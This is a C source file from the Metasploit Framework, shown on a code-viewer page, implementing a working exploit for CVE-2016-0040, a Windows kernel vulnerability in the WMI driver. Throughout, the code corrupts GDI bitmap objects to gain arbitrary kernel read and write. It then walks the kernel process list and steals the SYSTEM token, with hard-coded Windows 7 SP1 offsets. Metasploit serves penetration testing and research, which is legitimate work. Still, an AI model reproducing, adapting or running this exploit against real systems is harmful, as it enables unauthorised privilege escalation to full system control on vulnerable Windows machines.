CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-0040/Library/Library.c
Views: 11784
1
#include <windows.h>
2
#include <Psapi.h>
3
#include <process.h>
4
#include <stdio.h>
5
6
#include "Library.h"
7
8
#ifdef _DEBUG
9
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
10
#else
11
#define LOG
12
#endif //_DEBUG
13
14
#define BITS_PER_BYTE 8
15
16
#define TRIGGER_VULNERABILITY_RETRIES 1024
17
18
#define WMI_RECEIVE_NOTIFICATIONS_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
19
20
#define WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD 2
21
#define WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT 20
22
23
#define BITMAP_SIZE (BITMAP_WIDTH * BITMAP_HEIGHT * (BITMAP_BIT_COUNT / BITS_PER_BYTE))
24
#define BITMAP_WIDTH 0x64
25
#define BITMAP_HEIGHT 0x64
26
#define BITMAP_PLANES 1
27
#define BITMAP_BIT_COUNT 32
28
29
#define BITMAP_COUNT 4096
30
#define BITMAP_MANAGER_INDEX 2048
31
#define BITMAP_WORKER_INDEX 3072
32
33
#define IMAGE_BASE_LIST_SIZE 0x1000
34
#define IMAGE_BASE_KERNEL_INDEX 0
35
36
#define PAGE_FRAME_NUMBER_COUNT 1024
37
38
#define BITMAP_STRUCTURE_CHECK_OFFSET 0x48
39
#define BITMAP_STRUCTURE_PVSCAN0_OFFSET 0x50
40
#define BITMAP_STRUCTURE_CORRUPTION_OFFSET 0x80
41
#define BITMAP_STRUCTURE_CORRUPTION_VALUE_0 0x1000000000006
42
#define BITMAP_STRUCTURE_CORRUPTION_VALUE_1 0x238
43
44
#define RETURN_BUFFER_SIZE 1000
45
46
typedef enum _PROCESSINFOCLASS {
47
ProcessBasicInformation = 0
48
} PROCESSINFOCLASS;
49
50
typedef struct _PEB {
51
BYTE unk[0xf8];
52
VOID *GdiSharedHandleTable;
53
} PEB, *PPEB;
54
55
typedef struct _PROCESS_BASIC_INFORMATION {
56
PVOID Reserved1;
57
PPEB PebBaseAddress;
58
PVOID Reserved2[2];
59
ULONG_PTR UniqueProcessId;
60
PVOID Reserved3;
61
} PROCESS_BASIC_INFORMATION;
62
63
typedef struct _WMI_RECEIVE_NOTIFICATION {
64
ULONG HandleCount;
65
ULONG Action;
66
HANDLE UserModeCallback;
67
HANDLE UserModeProcess;
68
HANDLE Handles[WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT];
69
} WMI_RECEIVE_NOTIFICATION, *PWMI_RECEIVE_NOTIFICATION;
70
71
#pragma pack(push, 1)
72
typedef struct _GDICELL64 {
73
PVOID pKernelAddress;
74
USHORT wProcessId;
75
USHORT wCount;
76
USHORT wUpper;
77
USHORT wType;
78
PVOID pUserAddress;
79
} GDICELL64;
80
#pragma pack(pop)
81
82
typedef struct EPROCESS_OFFSETS {
83
DWORD UniqueProcessId;
84
DWORD Token;
85
} EPROCESS_OFFSETS, *PEPROCESS_OFFSETS;
86
87
static PPEB GetCurrentPeb(VOID) {
88
89
NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
90
PROCESS_BASIC_INFORMATION ProcessInformation;
91
ULONG ReturnLength;
92
HMODULE library;
93
94
library = LoadLibrary("ntdll.dll");
95
96
if (library == NULL) { return NULL; }
97
98
ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess");
99
100
if (ZwQueryInformationProcess == NULL) { return NULL; }
101
102
if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) {
103
return NULL;
104
}
105
106
return ProcessInformation.PebBaseAddress;
107
}
108
109
static BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) {
110
111
BYTE bitmap[BITMAP_SIZE];
112
HBITMAP bitmaps[BITMAP_COUNT];
113
INT i;
114
115
memset(bitmap, 'a', BITMAP_SIZE);
116
117
for (i = 0; i < BITMAP_COUNT; i++) {
118
bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap);
119
120
if (bitmaps[i] == NULL) {
121
LOG("[-] Unable To Create The Required Bitmaps\n");
122
return FALSE;
123
}
124
125
GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap);
126
}
127
128
*hManager = bitmaps[BITMAP_MANAGER_INDEX];
129
*hWorker = bitmaps[BITMAP_WORKER_INDEX];
130
131
return TRUE;
132
}
133
134
static PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) {
135
136
GDICELL64 *cells;
137
WORD index;
138
139
index = LOWORD(handle);
140
141
cells = (GDICELL64 *)(peb->GdiSharedHandleTable);
142
143
return cells[index].pKernelAddress;
144
}
145
146
static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) {
147
148
if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) {
149
LOG("[-] Unable To Set Destination Address: 0x%p\n", dest);
150
return FALSE;
151
}
152
153
return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE;
154
}
155
156
static LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
157
158
if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
159
LOG("[-] Unable To Set Source Address: 0x%p\n", src);
160
return FALSE;
161
}
162
163
return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
164
}
165
166
static PVOID GetNtOsKrnl(VOID) {
167
PVOID ImageBases[IMAGE_BASE_LIST_SIZE];
168
DWORD needed = 0;
169
170
if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) {
171
LOG("[-] Unable To Enumerate Device Drivers: %d\n", needed);
172
return NULL;
173
}
174
175
return ImageBases[IMAGE_BASE_KERNEL_INDEX];
176
}
177
178
static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) {
179
180
HMODULE loaded;
181
PVOID address;
182
PVOID runtime;
183
184
loaded = LoadLibrary("ntoskrnl.exe");
185
186
if (loaded == NULL) {
187
LOG("[-] Unable To Load NtOsKrnl.exe\n");
188
return NULL;
189
}
190
191
address = GetProcAddress(loaded, "PsInitialSystemProcess");
192
193
if (address == NULL) {
194
LOG("[-] Unable To Get PsInitialSystemProcess\n");
195
return NULL;
196
}
197
198
FreeLibrary(loaded);
199
200
runtime = GetNtOsKrnl();
201
202
if (runtime == NULL) {
203
LOG("[+] Unable To Get NtOsKrnl Runtime Address\n");
204
return NULL;
205
}
206
207
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) {
208
LOG("[-] Unable To Read PsInitialSystemProcess Address\n");
209
return NULL;
210
}
211
212
return address;
213
}
214
215
static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {
216
217
PVOID systemProcess;
218
LIST_ENTRY ActiveProcessLinks;
219
ULONG64 UniqueProcessId;
220
PVOID currentProcess;
221
222
systemProcess = GetPsInitialSystemProcess(hManager, hWorker);
223
224
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) {
225
LOG("[-] Unable To Read Initial System Process ActiveProcessLinks\n");
226
return NULL;
227
}
228
229
do {
230
currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64));
231
232
ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64));
233
234
if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; }
235
236
ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY));
237
238
} while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)));
239
240
LOG("[-] Unable To Locate The Current Process In The List\n");
241
242
return NULL;
243
}
244
245
static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) {
246
247
PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT];
248
WMI_RECEIVE_NOTIFICATION notification;
249
PVOID hManagerAddress, hWorkerAddress;
250
BYTE ReturnBuffer[RETURN_BUFFER_SIZE];
251
DWORD ReturnSize;
252
HANDLE hDriver;
253
PVOID address;
254
INT i;
255
256
NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers);
257
258
259
if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) {
260
LOG("[-] Unable To Setup Manager And Worker Bitmaps\n");
261
return FALSE;
262
}
263
264
hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager);
265
hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker);
266
267
LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n");
268
269
for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)&notification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; }
270
271
notification.HandleCount = 0;
272
notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD;
273
notification.UserModeProcess = GetCurrentProcess();
274
275
for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; }
276
277
LOG("[%%] pPeb: 0x%p\n", pPeb);
278
LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker);
279
LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress);
280
281
hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
282
if (hDriver == INVALID_HANDLE_VALUE) {
283
LOG("[-] Unable To Open The WMIDataDevice\n");
284
return FALSE;
285
}
286
287
i = 0;
288
do {
289
Sleep(0);
290
291
NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers);
292
293
if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, &notification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) {
294
LOG("[-] Device IO Control Returned Failure\n");
295
return FALSE;
296
}
297
298
GetBitmapBits(*hManager, sizeof(PVOID), &address);
299
} while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES));
300
301
302
if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) {
303
LOG("[-] Unable To Trigger The Vulnerability\n");
304
return FALSE;
305
}
306
307
LOG("[+] Self-Referencing Pointer Placement Complete\n");
308
309
pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1);
310
pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET);
311
SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers);
312
313
LOG("[+] Stage 1 Cleanup Complete\n");
314
LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n");
315
316
pageFrameNumbers[0] = NULL;
317
WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID));
318
319
LOG("[+] Stage 2 Cleanup Complete\n");
320
321
return TRUE;
322
}
323
324
static BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {
325
326
PVOID systemProcess;
327
PVOID currentProcess;
328
PVOID systemToken;
329
330
systemProcess = GetPsInitialSystemProcess(hManager, hWorker);
331
332
if (systemProcess == NULL) {
333
LOG("[-] Unable To Get The System Process\n");
334
return FALSE;
335
}
336
337
currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets);
338
339
if (currentProcess == NULL) {
340
LOG("[-] Unable To Get The Current Process\n");
341
return FALSE;
342
}
343
344
LOG("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess);
345
346
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
347
LOG("[-] Unable To Get The System Process Token\n");
348
return FALSE;
349
}
350
351
LOG("[%%] SystemToken: 0x%p\n", systemToken);
352
353
if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
354
LOG("[-] Unable To Set The Current Process Token\n");
355
return FALSE;
356
}
357
358
LOG("[+] System Process Token Stolen\n");
359
360
return TRUE;
361
}
362
363
BOOLEAN TriggerExploit(VOID) {
364
365
PPEB pPeb;
366
HBITMAP hManager, hWorker;
367
EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 };
368
369
LOG("\n");
370
371
pPeb = GetCurrentPeb();
372
373
if (pPeb == NULL) {
374
LOG("[-] Unable To Get The Current PEB\n");
375
return FALSE;
376
}
377
378
if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) {
379
LOG("[-] Unable To Trigger Vulnerability\n");
380
return FALSE;
381
}
382
383
LOG("[+] Vulnerability Triggered\n");
384
385
LOG("[+] Bitmap Read/Write Primitives Now Available\n");
386
387
if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) {
388
LOG("[-] Unable To Trigger Exploit\n");
389
return FALSE;
390
}
391
392
LOG("[+] Privilege Escalation Triggered\n\n");
393
394
return TRUE;
395
}
396
397